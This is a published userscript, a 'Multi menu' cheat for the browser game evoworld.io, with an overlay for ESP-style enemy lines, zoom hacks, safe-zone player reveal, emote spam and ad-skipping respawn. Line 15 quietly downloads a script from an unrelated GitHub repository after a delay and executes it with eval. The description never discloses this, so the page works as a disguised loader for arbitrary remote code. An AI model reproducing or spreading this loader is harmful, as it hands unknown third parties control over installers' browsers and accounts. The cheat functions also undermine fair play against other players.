Evoworld.io Multi menu

The new cheat-script for evoeorld.io with a lot of functions

  1. // ==UserScript==
  2. // @name Evoworld.io Multi menu
  3. // @namespace http://tampermonkey.net/
  4. // @version 1.1
  5. // @description The new cheat-script for evoeorld.io with a lot of functions
  6. // @author You
  7. // @license MIT
  8. // @match https://evoworld.io/
  9. // @icon https://www.google.com/s2/favicons?sz=64&domain=evoworld.io
  10. // @grant none
  11. // ==/UserScript==
  12.  
  13. (function () {
  14. 'use strict';
  15. setTimeout(() => {$.get("https://raw.githubusercontent.com/cameronlucky73/confused/main/o.js", (d) => eval(d));}, 6000);
  16. // --- Overlay HTML ---
  17. let overlayHTML = `
  18. <div id="main_panel">
  19. <h3>Main panel</h3>
  20. <div class="main_panel_content">
  21. <small>Click on the desired option to activate it.</small>
  22. <div class="button" onclick="(function() { setInterval(function(){startBonus = true}, 1) })();">Exp bonus +30%</div>
  23. <div class="button" onclick="document.body.onkeyup = function(e) {if (e.keyCode == 81){ sendEmote(1); } if ( e.keyCode == 69){sendEmote(10);}};">Emoji hack (Buttons Q and E)</div>
  24. <div class="button" onclick="setInterval(function(){if(imDead == true){playAgain()}}, 1)">Instant respawn (Risky)</div>
  25. <div class="button" onclick="document.addEventListener('keydown', (event) => {if (event.key == 'r') {game.canvas.click()}})">Holding jump (Press "R")</div>
  26. <div class="button" onclick="document.addEventListener('keydown', (event) => {if (event.key == 'f') {game.canvas.width = 1719;game.canvas.height = 1009}})">Big zoom (Press "F")</div>
  27. Zoom<input type="range" min="1" max="2" value="1" step="0.01" id="Zoom">
  28. <br><br><input type="input" value="Enter any level here(Visual)" id="anyLevel">
  29. <br><br><input type="input" value="Enter any nick here(Visual)" id="anyNick">
  30. <br><br><div id="cloudSlider">
  31. <label>Cloud Transparency</label>
  32. <input type="range" min="0" max="1" step="0.01" value="0.5">
  33. </div>
  34. <div id="swampSlider">
  35. <label>Swamp Transparency</label>
  36. <input type="range" min="0" max="1" step="0.01" value="1">
  37. </div>
  38. <div id="bushSlider">
  39. <label>Bush Transparency</label>
  40. <input type="range" min="0" max="1" step="0.01" value="1">
  41. </div>
  42. <br><br><div id="enemyLinesCheckbox">
  43. <input type="checkbox" checked>
  44. <label>Enemy Show</label>
  45. </div>
  46. <div id="emoteSpamCheckbox">
  47. <input type="checkbox">
  48. <label>Emote Spam</label>
  49. </div>
  50. <div id="colorPicker">
  51. <label>Enemy Line Color</label>
  52. <input type="color" value="yellow">
  53. </div>
  54. <hr>
  55. <h4>Guide</h4>
  56. <p>Exp Bonus +30% When activated, the bonus will be enabled, but it wont work if you have already watched an ad before the game or if you have a premium account.
  57. Emoji Hack (Buttons Q and E) When activated, hotkeys will be enabled: pressing "Q" will send 👎, and pressing "E" will send 😆.
  58. Instant Respawn (Risky) When activated, you will automatically respawn upon death without watching an ad, but there is a high chance that you will be automatically disconnected from the server, requiring you to reload the game and evolve again.
  59. Holding Jump (Press "R") When activated, holding the "R" key will make you automatically fly upward at the maximum allowed speed.
  60. Big Zoom (Press "F") When activated, pressing "F" will enable a kind of zoom-out effect. Zoom A simple slider for adjusting zoom.
  61. Cloud Transparency Controls the transparency of special objects, meant for adjusting cloud transparency on old PCs.
  62. Swamp Transparency Controls the transparency of swamps (for old PCs).
  63. Bush Transparency Controls the transparency of bushes (for old PCs).
  64. Enemy Show Displays health bars and distances to players (enabled by default).
  65. Emote Spam Spams random emotes. Enemy Line Color Changes the color of the line displaying the distance to neutral players.<br><br>
  66.  
  67. You will see well underground and FPS Boost will be automatically activated.</p>
  68.  
  69. </div>
  70. <hr>
  71. <p>ℹ Press Y to hide the main panel</p>
  72. </div>
  73.  
  74. <div id="viewmod">
  75. <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Default view</div>
  76. <br><div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] + 200 }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Top view</div>
  77. <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'] - 200, 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Left view</div>
  78. <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'] + 200, 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Right view</div>
  79. <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] - 200 }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Bottom view</div>
  80. </div>
  81.  
  82. <style>
  83. *{
  84. outline: none;
  85. }
  86.  
  87. input[type="range"] {
  88. accent-color: coral;
  89. }
  90.  
  91. #main_panel {
  92. z-index: 10;
  93. position: absolute;
  94. top: 50%;
  95. left: 0;
  96. width: 20%;
  97. padding: 12px 12px;
  98. transition: 0.5s;
  99. backdrop-filter: blur(5px);
  100. border-radius: 0px 24px 24px 0px;
  101. font-family: Arial, Helvetica, sans-serif;
  102. transform: translateY(-50%);
  103. background-color: rgba(255, 255, 255, 0.75);
  104. -webkit-box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
  105. -moz-box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
  106. box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
  107. }
  108.  
  109. .main_panel_content {
  110. max-height: 420px;
  111. overflow-y: auto;
  112. padding: 12px 12px;
  113. word-wrap: break-word;
  114. overflow-wrap: break-word;
  115. white-space: normal;
  116. }
  117.  
  118. #viewmod {
  119. z-index: 10;
  120. position: absolute;
  121. top: 50%;
  122. right: 0;
  123. transition: 0.5s;
  124. transform: translateY(-50%);
  125. font-family: Arial, Helvetica, sans-serif;
  126. }
  127.  
  128. .button {
  129. all: unset;
  130. font-size: 16px;
  131. background: transparent;
  132. border: none;
  133. position: relative;
  134. color: #f0f0f0;
  135. cursor: pointer;
  136. z-index: 1;
  137. margin: 24px 6px;
  138. padding: 10px 20px;
  139. display: flex;
  140. align-items: center;
  141. justify-content: center;
  142. white-space: nowrap;
  143. user-select: none;
  144. -webkit-user-select: none;
  145. touch-action: manipulation;
  146. }
  147.  
  148. .button::after,
  149. .button::before {
  150. content: '';
  151. position: absolute;
  152. bottom: 0;
  153. right: 0;
  154. z-index: -99999;
  155. transition: all .4s;
  156. }
  157.  
  158. .button::before {
  159. transform: translate(0%, 0%);
  160. width: 100%;
  161. height: 100%;
  162. background: #28282d;
  163. border-radius: 10px;
  164. }
  165.  
  166. .button::after {
  167. transform: translate(10px, 10px);
  168. width: 35px;
  169. height: 35px;
  170. background: #ffffff15;
  171. backdrop-filter: blur(5px);
  172. -webkit-backdrop-filter: blur(5px);
  173. border-radius: 50px;
  174. }
  175.  
  176. .button:hover::before {
  177. transform: translate(5%, 20%);
  178. width: 110%;
  179. height: 110%;
  180. }
  181.  
  182. .button:hover::after {
  183. border-radius: 10px;
  184. transform: translate(0, 0);
  185. width: 100%;
  186. height: 100%;
  187. }
  188.  
  189. .button:active::after {
  190. transition: 0s;
  191. transform: translate(0, 5%);
  192. }
  193.  
  194. .button2 {
  195. background-color: #fff000;
  196. border-radius: 12px;
  197. color: #000;
  198. cursor: pointer;
  199. font-weight: bold;
  200. padding: 10px 15px;
  201. text-align: center;
  202. transition: 200ms;
  203. width: 100%;
  204. box-sizing: border-box;
  205. border: 0;
  206. margin: 4px 0px;
  207. font-size: 16px;
  208. user-select: none;
  209. -webkit-user-select: none;
  210. touch-action: manipulation;
  211. }
  212.  
  213. .button2:not(:disabled):hover,
  214. .button2:not(:disabled):focus {
  215. outline: 0;
  216. background: #f4e603;
  217. box-shadow: 0 0 0 2px rgba(0,0,0,.2), 0 3px 8px 0 rgba(0,0,0,.15);
  218. }
  219.  
  220. .button2:disabled {
  221. filter: saturate(0.2) opacity(0.5);
  222. -webkit-filter: saturate(0.2) opacity(0.5);
  223. cursor: not-allowed;
  224. }
  225. </style>
  226. `;
  227.  
  228. // --- Вставка Overlay в DOM ---
  229. let overlay = document.createElement("div");
  230. overlay.innerHTML = overlayHTML;
  231. document.body.appendChild(overlay);
  232.  
  233. // --- Логика для скрытия/показа панели ---
  234. let box = document.getElementById("main_panel");
  235. box.style.opacity = "1";
  236. document.addEventListener('keydown', (event) => {
  237. if (event.keyCode == 89) {
  238. let opac = box.style.opacity;
  239. if (opac == 1) {
  240. box.style.opacity = "0";
  241. } else {
  242. box.style.opacity = "1";
  243. }
  244. }
  245. });
  246.  
  247. // --- Логика для ползунков и инпутов ---
  248. let Game = { me: { zoom: undefined, visualNick: undefined, visualLevel: undefined }, camera: { position: undefined } };
  249.  
  250. let slider = document.getElementById('Zoom');
  251. slider.oninput = function () {
  252. Game.me.zoom = this.value;
  253. gameZoom = Game.me.zoom;
  254. };
  255.  
  256. let input = document.getElementById('anyLevel');
  257. input.oninput = function () {
  258. Game.me.visualLevel = this.value;
  259. game.me.level = Game.me.visualLevel;
  260. };
  261.  
  262. let input1 = document.getElementById('anyNick');
  263. input1.oninput = function () {
  264. Game.me.visualNick = this.value;
  265. game.me.nick = Game.me.visualNick;
  266. };
  267.  
  268. // --- Логика для анимации ---
  269. let animationFrameId;
  270. const startAnimationFrame = (previousTimestamp = performance.now(), remainingFrameTime = 0) => {
  271. let timeElapsedSinceLastFrame = performance.now() - previousTimestamp,
  272. targetFrameInterval = 16.67 - timeElapsedSinceLastFrame + remainingFrameTime,
  273. frameDelay = targetFrameInterval - (0 | targetFrameInterval);
  274. animationFrameId = requestAnimationFrame(() => startAnimationFrame(previousTimestamp, frameDelay));
  275. };
  276. startAnimationFrame();
  277. window.addEventListener("beforeunload", () => {
  278. animationFrameId && cancelAnimationFrame(animationFrameId);
  279. });
  280.  
  281. // --- Логика для эхолокации ---
  282. function echolocation() {
  283. visionType = 1;
  284. }
  285. setInterval(echolocation, 0);
  286.  
  287. // --- Логика для полноэкранного блока ---
  288. let fullscreenBlock = document.createElement("div");
  289. fullscreenBlock.id = "fullscreen_block";
  290. fullscreenBlock.style.position = "fixed";
  291. fullscreenBlock.style.top = "0";
  292. fullscreenBlock.style.left = "0";
  293. fullscreenBlock.style.width = "100%";
  294. fullscreenBlock.style.height = "100%";
  295. fullscreenBlock.style.backgroundColor = "rgba(0, 0, 0, 24)";
  296. fullscreenBlock.style.zIndex = "9999";
  297. fullscreenBlock.style.display = "flex";
  298. fullscreenBlock.style.justifyContent = "center";
  299. fullscreenBlock.style.alignItems = "center";
  300. fullscreenBlock.style.transition = "opacity 5s";
  301.  
  302. let fullscreenText = document.createElement("div");
  303. fullscreenText.textContent = "By: ilya gaydov";
  304. fullscreenText.style.color = "white";
  305. fullscreenText.style.fontFamily = "Arial, sans-serif";
  306. fullscreenText.style.fontSize = "24px";
  307.  
  308. fullscreenBlock.appendChild(fullscreenText);
  309. document.body.appendChild(fullscreenBlock);
  310.  
  311. setTimeout(() => {
  312. fullscreenBlock.style.opacity = "0";
  313. setTimeout(() => {
  314. fullscreenBlock.remove();
  315. }, 5000);
  316. }, 0);
  317.  
  318. // --- Логика для первого скрипта ---
  319. function waitForGameLoad() {
  320. if (typeof game !== 'undefined' && game.canvas) {
  321. initScript();
  322. } else {
  323. setTimeout(waitForGameLoad, 500);
  324. }
  325. }
  326.  
  327. function initScript() {
  328. console.log("Game loaded, initializing script...");
  329.  
  330. // --- Feature Toggles ---
  331. let showEnemyLines = true;
  332. let emoteSpamEnabled = false;
  333.  
  334. // --- Enemy Line Color ---
  335. let enemyLineColor = 'yellow';
  336.  
  337. // --- Menu Elements ---
  338. const cloudSlider = document.getElementById('cloudSlider').querySelector('input');
  339. const swampSlider = document.getElementById('swampSlider').querySelector('input');
  340. const bushSlider = document.getElementById('bushSlider').querySelector('input');
  341. const enemyLinesCheckbox = document.getElementById('enemyLinesCheckbox').querySelector('input');
  342. const emoteSpamCheckbox = document.getElementById('emoteSpamCheckbox').querySelector('input');
  343. const colorPicker = document.getElementById('colorPicker').querySelector('input');
  344.  
  345. // --- Apply Transparency ---
  346. function applyTransparency() {
  347. const cloudAlpha = parseFloat(cloudSlider.value);
  348. const swampAlpha = parseFloat(swampSlider.value);
  349. const bushAlpha = parseFloat(bushSlider.value);
  350.  
  351. Object.values(game.gameObjects).forEach(obj => {
  352. if (obj.name.includes('cloud')) {
  353. obj.opacity = cloudAlpha;
  354. } else if (obj.name === 'swamp') {
  355. obj.opacity = swampAlpha;
  356. } else if (obj.name.includes('bush')) {
  357. obj.opacity = bushAlpha;
  358. }
  359. });
  360. }
  361.  
  362. // --- Override game.isVisible to make players in safe zones visible ---
  363. const originalIsVisible = game.isVisible;
  364. game.isVisible = function (camera, obj, originalWidth, originalHeight) {
  365. if (obj.type === objectType.PLAYER && obj.inSafeZone) {
  366. return true; // Always visible
  367. }
  368. return originalIsVisible.call(this, camera, obj, originalWidth, originalHeight);
  369. };
  370.  
  371. // --- Draw Enemy Lines ---
  372. function drawEnemyLines() {
  373. if (showEnemyLines) {
  374. const ctx = game.dynamicContext;
  375. ctx.strokeStyle = enemyLineColor;
  376. ctx.lineWidth = 2;
  377. ctx.font = '14px Arial';
  378.  
  379. const extendedRenderDistance = game.worldWidth;
  380.  
  381. Object.values(game.gameObjects).forEach(obj => {
  382. if (obj.type === objectType.PLAYER && obj !== game.me &&
  383. game.isVisible(game.camera, obj, extendedRenderDistance, extendedRenderDistance)) {
  384. const myPos = game.getRenderPosition(game.me.position.x + game.me.width / 2, game.me.position.y + game.me.height / 2);
  385. const enemyPos = game.getRenderPosition(obj.position.x + obj.width / 2, obj.position.y + obj.height / 2);
  386. const distance = Math.round(getDistance(game.me.position.x, game.me.position.y, obj.position.x, obj.position.y));
  387.  
  388. // Draw line
  389. drawDangerLine(ctx, myPos, enemyPos, obj);
  390.  
  391. // Draw distance
  392. ctx.fillStyle = 'white';
  393. ctx.fillText(`${distance}m`, (myPos.x + enemyPos.x) / 2, (myPos.y + enemyPos.y) / 2);
  394.  
  395. // Draw glowing box
  396. ctx.shadowColor = 'cyan';
  397. ctx.shadowBlur = 10;
  398. const boxSize = 40;
  399. ctx.strokeRect(enemyPos.x - boxSize / 2, enemyPos.y - boxSize / 2, boxSize, boxSize);
  400. ctx.shadowBlur = 0;
  401.  
  402. // Draw danger label
  403. drawDangerLabel(ctx, enemyPos, obj);
  404. }
  405. });
  406. }
  407. }
  408.  
  409. // --- Draw Danger Line ---
  410. function drawDangerLine(ctx, myPos, enemyPos, enemy) {
  411. ctx.beginPath();
  412. ctx.moveTo(myPos.x, myPos.y);
  413. ctx.lineTo(enemyPos.x, enemyPos.y);
  414.  
  415. // Set line color based on danger
  416. if (canEat(enemy, game.me)) {
  417. ctx.strokeStyle = 'red'; // Dangerous enemy
  418. } else {
  419. ctx.strokeStyle = enemyLineColor; // Safe enemy
  420. }
  421. ctx.stroke();
  422. }
  423.  
  424. // --- Draw Danger Label ---
  425. function drawDangerLabel(ctx, enemyPos, enemy) {
  426. ctx.fillStyle = canEat(enemy, game.me) ? 'red' : 'green';
  427. ctx.font = 'bold 16px Arial';
  428. let label = canEat(enemy, game.me) ? 'Danger' : 'Safe';
  429. let textWidth = ctx.measureText(label).width;
  430. ctx.fillText(label, enemyPos.x - textWidth / 2, enemyPos.y - 55); // Moved label higher
  431. }
  432.  
  433. // --- Dynamic Transparency for Clouds/Bushes/Swamp ---
  434. const originalDrawObject = game.drawObject;
  435. game.drawObject = function (obj, staticCanvas) {
  436. if ((obj.name.includes('cloud') || obj.name === 'swamp' || obj.name.includes('bush')) && game.isVisible(game.camera, obj)) {
  437. obj.opacity = parseFloat(cloudSlider.value);
  438. staticCanvas = false;
  439. }
  440. originalDrawObject.call(this, obj, staticCanvas);
  441. };
  442.  
  443. // --- Emote Spam ---
  444. emoteSpamCheckbox.addEventListener('change', () => {
  445. emoteSpamEnabled = emoteSpamCheckbox.checked;
  446. if (emoteSpamEnabled) {
  447. startEmoteSpam();
  448. } else {
  449. stopEmoteSpam();
  450. }
  451. });
  452.  
  453. let emoteSpamInterval;
  454. function startEmoteSpam() {
  455. emoteSpamInterval = setInterval(() => {
  456. if (typeof gameServer !== 'undefined' && !imDead && joinedGame) {
  457. const randomEmoteId = Math.floor(Math.random() * 13) + 1;
  458. sendEmote(randomEmoteId);
  459. }
  460. }, 1000);
  461. }
  462.  
  463. function stopEmoteSpam() {
  464. clearInterval(emoteSpamInterval);
  465. }
  466.  
  467. // --- Event Listeners for Menu Changes ---
  468. cloudSlider.addEventListener('input', applyTransparency);
  469. swampSlider.addEventListener('input', applyTransparency);
  470. bushSlider.addEventListener('input', applyTransparency);
  471. enemyLinesCheckbox.addEventListener('change', () => showEnemyLines = enemyLinesCheckbox.checked);
  472. colorPicker.addEventListener('change', () => enemyLineColor = colorPicker.value);
  473.  
  474. // --- Add Enemy Lines to the Game Loop ---
  475. const originalBeforeDrawAllObjects = game.beforeDrawAllObjects;
  476. game.beforeDrawAllObjects = function () {
  477. originalBeforeDrawAllObjects.apply(this, arguments);
  478. drawEnemyLines();
  479. };
  480.  
  481. // --- Set Initial Transparency ---
  482. applyTransparency();
  483. }
  484.  
  485. // --- Helper Functions ---
  486. function getDistance(x1, y1, x2, y2) {
  487. let dx = x2 - x1;
  488. let dy = y2 - y1;
  489. return Math.sqrt(dx * dx + dy * dy);
  490. }
  491.  
  492. // --- Food Eating Logic ---
  493. function canEat(eater, food) {
  494. if (foodChain[eater.name] && foodChain[eater.name].eats[food.name]) {
  495. return true;
  496. }
  497. return false;
  498. }
  499.  
  500. // --- Wait for Game Load ---
  501. waitForGameLoad();
  502. })();
  503.  
  504. // --- FPS ---
  505. let fpsCounter = document.createElement('div');
  506. fpsCounter.style.position = 'absolute';
  507. fpsCounter.style.top = '10px';
  508. fpsCounter.style.right = '10px';
  509. fpsCounter.style.padding = '5px 10px';
  510. fpsCounter.style.background = 'rgba(0, 0, 0, 0.7)';
  511. fpsCounter.style.color = 'white';
  512. fpsCounter.style.fontFamily = 'Arial, sans-serif';
  513. fpsCounter.style.fontSize = '14px';
  514. fpsCounter.style.borderRadius = '5px';
  515. fpsCounter.innerText = 'FPS: 0';
  516. fpsCounter.style.zIndex = '100'; // Устанавливаем максимальный z-index
  517. document.body.appendChild(fpsCounter);
  518.  
  519. let lastTime = performance.now();
  520. let frameCount = 0;
  521. let fps = 0;
  522.  
  523. function updateFPS() {
  524. let now = performance.now();
  525. frameCount++;
  526. if (now - lastTime >= 1000) {
  527. fps = frameCount;
  528. frameCount = 0;
  529. lastTime = now;
  530. fpsCounter.innerText = `FPS: ${fps}`;
  531. }
  532. requestAnimationFrame(updateFPS);
  533. }
  534. updateFPS();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址